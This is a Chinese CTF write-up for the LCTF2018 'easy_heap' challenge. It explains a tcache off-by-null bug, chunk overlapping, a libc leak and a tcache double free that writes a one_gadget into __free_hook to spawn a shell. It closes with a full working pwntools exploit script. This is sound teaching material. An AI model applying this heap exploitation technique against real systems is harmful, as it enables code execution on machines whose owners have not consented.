tcache-off-by-null-LCTF2018_easy_heap

保护

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BnITV6lq-1644421446488)(tcache-off-by-null(LCTF2018_easy_heap)].assets/image-20220209220445863.png)

分析

ida中新建结构体:

快捷键shift+f1打开local types视图

再右击insert添加结构体:

struct ptr{
  char *p;
  unsigned int size;
};
struct ptr_array{
  ptr array[10];
};

新建后效果:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kjApNi97-1644422070511)(tcache-off-by-null(LCTF2018_easy_heap)].assets/image-20220209235132217.png)

然后就可以在伪代码中进行类型转化了如图:选择刚才新建的结构体

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jjuOa0im-1644422070513)(tcache-off-by-null(LCTF2018_easy_heap)].assets/image-20220209235322903.png)

效果图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KTNBmWco-1644422070514)(tcache-off-by-null(LCTF2018_easy_heap)].assets/image-20220209235236337.png)

main:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-779rlmXj-1644421446491)(tcache-off-by-null(LCTF2018_easy_heap)].assets/image-20220209220719973.png)

malloc:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rUznSLnp-1644421446492)(tcache-off-by-null(LCTF2018_easy_heap)].assets/image-20220209220756664.png)

free:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gR1Ui2ZZ-1644421446493)(tcache-off-by-null(LCTF2018_easy_heap)].assets/image-20220209220818596.png)

puts:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BaG9MJBb-1644421446494)(tcache-off-by-null(LCTF2018_easy_heap)].assets/image-20220209220839134.png)

这题的保护措施做的很好,常见的free函数也没问题,但是这题有个off-by-null的漏洞,因为这题的限制条件较多所以考虑用堆重叠(overlapping heap chunk),然后就可以进行对重叠的chunk进行double free写入one_gadget到free_hook进行getshell

因为这题写入content时限制了\x00字符,那么在写入字节流时就会断掉写入

首先构造unsortbin进行合并的prev_size:

################################ Function ############################################
def malloc(size,data):
    sla('> ','1')
    sla('> ',str(size))
    sla('> ',data)
def free(idx):
    sla('> ','2')
    sla('> ',str(idx))
def puts(idx):
    sla('> ','3')
    sla('> ',str(idx))
def lotMalloc(s,e):
    for i in range(s,e):
        malloc(1,str(i))
def lotFree(s,e):
    for i in range(s,e):
        free(i)
#-----------------------构造unsortbins的prve_size---------------
lotMalloc(0,10) #因为存在tcache 事先准备7个以上的chunk
lotFree(3,10) #填充满tcachebins 
lotFree(0,3) #此时free将会进入到unsortbins中,并且会进行合并,合并之后会写入对应的prve_size
lotMalloc(0,7)#清空tcachebins,便于后面拿出unsortbins的chunk

结果图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ULLllLgM-1644421446494)(tcache-off-by-null(LCTF2018_easy_heap)].assets/image-20220209221903677.png)

可以看到已经通过unlink对chunk的prev_size进行了0x200的写入,这一步是通过手动写入p64(0x200)无法完成的

然后就是通过off-by-null对堆块进行重叠,因为tcache的存在所以要填入到unsortbin中就需要先填满tcachebin,所以写法看起来有点绕,但是原理很简单

这题的off-by-null漏洞只有在首次写入content的时候使用,正常情况下堆块是由低地址到高地址申请空间的,那么这时的off-by-null漏洞就之后被后面新堆块覆盖,那么就需要构造一个堆空间结构

经过上面的写入prevsize后此时的堆空间结构如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o4GJbHGa-1644421446496)(tcache-off-by-null(LCTF2018_easy_heap)].assets/image-20220209223110921.png)

那么此时想要将chunk8进行堆重叠,那么理想情况下是chunk7(unsortbin)是free状态,chunk8是使用状态,chunk9(unsortbin)是free状态,然后即可根据chunk9的prevsize进行向上合并chunk,从而造成堆重叠,示意图如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AHptCs0J-1644421446496)(tcache-off-by-null(LCTF2018_easy_heap)].assets/image-20220209223740268.png)

根据上面就可以使用off-by-null填入到chunk8然后溢出null字节到chunk9从而改变chunk9的P标志位,伪造chunk8为free状态从而正常进行unlink,在此之前可以事先将chunk7放入到unsortbins中,根据tcache的特性会首先在tcachebins中去寻找适合大小的chunk,那么就可以将chunk8放入到tcachebins链表中的首个(先进后出)这样就可以控制malloc分配到的想要的free chunk了

#-----------------------overlapping heap chunk---------------
lotMalloc(7,10) #从unsortbins拿回chunk7,8,9
free(8)  #将chunk8放入到tcachebins 
lotFree(0,6) #填满tcachebins
free(7) #chunk7放入unsortbins
lotMalloc(0,6)
malloc(0xf8,'7') #这里拿到的是原chunk8位置的chunk,但是它在程序中的索引是7所以我命名为7然后写入0xf8的size,那么造成了off-by-null

运行结果截图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eQHQbTxq-1644421446497)(tcache-off-by-null(LCTF2018_easy_heap)].assets/image-20220209225639186.png)

那么现在只需要free chunk9即可进行unlink了,从而造成堆重叠

lotFree(0,7) #tcachebins
free(9) #unlink

运行结果图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nd1YQ86e-1644421446498)(tcache-off-by-null(LCTF2018_easy_heap)].assets/image-20220209230039327.png)

堆重叠后,因为此时chunk8合并到了chunk7,在从chunk7(unsortbins)中进行分割,使libc偏移地址写入到重叠的堆块中通过puts函数即可获得libc地址:

lotMalloc(0,7) #便于拿到unsortbins的chunk
malloc(1,'8')
puts(7)
libc_base = info(rc(6))-(0x7f010cc66ca0-0x7f010c87b000)
pa('leak libc')

同样利用堆重叠进行tcache的double free

malloc(1,'9') #拿到重叠堆块

此时用与保存子堆块的chunk如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wIcj3j0L-1644421446499)(tcache-off-by-null(LCTF2018_easy_heap)].assets/image-20220209231416677.png)

可以看到索引为7和9的堆块都是指向同一块内存,那么就可以进行double free了

free(7)  
free(9)    #double free

因为2.27的libc没有对tcache的double free进行检查所以可以直接改变fd值从而写入目标地址

malloc(8,p64(libc_base + libc.symbols['__free_hook']))

此时用与保存子堆块的chunk如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rHrIlOUl-1644421446500)(tcache-off-by-null(LCTF2018_easy_heap)].assets/image-20220209231718451.png)

因为程序只允许存在10个堆块,要拿到__free_hook的chunk就需要再malloc2次,很显然程序现在只能新增一个堆块了,那么重新分配chunk,将多余的一个chunk释放到unsortbins中去即可,最后拿到_free_hook再getshell

lotFree(0,7)
lotMalloc(0,7)
malloc(8,p64(libc_base + one[1]))
free(0)

这题运用了tcachebins和unsortbins的优先分配原则从而达到控制malloc得到free chunk的顺序

注意!exp在libc2.28不行对unlink新增了对prevsize和合并的chunk size是否一致的检查

完整exp:

from pwn import *
#import sys

context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./easy_heap"

#one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4] #2.23(64)
#one = [0x3ac3c,0x3ac3e,0x3ac42,0x3ac49,0x3ac6c,0x3ac6d,0x5faa5,0x5faa6] #2.23(32)
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398] #2.27(64)
#idx = int(sys.argv[1])

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("111.200.241.244","58782")
    e = ELF(binary)
    libc = e.libc
    #libc = ELF('./libc_32.so.6')

################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()

def z(s='b main'):
    gdb.attach(p,s)

def logs(addr,string='logs'):
    if(isinstance(addr,int)):
       print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
    else:
       print('\033[1;31;40m%20s-->%s\033[0m'%(string,addr))

def pa(s='1'):
    log.success('pause : step---> '+str(s))
    pause()

def info(data,key='info',bit=64):
    if(bit == 64):
      leak = u64(data.ljust(8, b'\0'))
    else:
      leak = u32(data.ljust(4, b'\0'))
    logs(leak,key)
    return leak

################################ Function ############################################
def malloc(size,data):
    sla('> ','1')
    sla('> ',str(size))
    sla('> ',data)
def free(idx):
    sla('> ','2')
    sla('> ',str(idx))
def puts(idx):
    sla('> ','3')
    sla('> ',str(idx))
def lotMalloc(s,e):
    for i in range(s,e):
        malloc(1,str(i))
def lotFree(s,e):
    for i in range(s,e):
        free(i)
################################### Statr ############################################
#-----------------------构造unsortbins的prve_size---------------
lotMalloc(0,10) #因为存在tcache 事先准备7个以上的chunk
lotFree(3,10) #填充满tcachebins 
lotFree(0,3) #此时free将会进入到unsortbins中,并且会进行合并,合并之后会写入对应的prve_size
lotMalloc(0,7)#清空tcachebins,便于后面拿出unsortbins的chunk
#-----------------------overlapping heap chunk---------------
lotMalloc(7,10) #从unsortbins拿回chunk7,8,9
free(8)  #将chunk8放入到tcachebins 
lotFree(0,6) #填满tcachebins
free(7) #chunk7放入unsortbins
lotMalloc(0,6)
malloc(0xf8,'7') #这里拿到的是原chunk8位置的chunk,但是它在程序中的索引是7所以我命名为7然后写入0xf8的size,那么造成了off-by-null
#pa('off-by-null')

lotFree(0,7) #tcachebins
free(9) #unlink
#pa('unlink')

lotMalloc(0,7) #便于拿到unsortbins的chunk
malloc(1,'8')
puts(7)
libc_base = info(rc(6))-(0x7f010cc66ca0-0x7f010c87b000)
#pa('leak libc')

malloc(1,'9') #拿到重叠堆块
free(7)   #double free
free(9)   #
#pa('double free')

malloc(8,p64(libc_base + libc.symbols['__free_hook']))
lotFree(0,7)
lotMalloc(0,7)
malloc(8,p64(libc_base + one[1]))
free(0)
################################### End ##############################################
p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值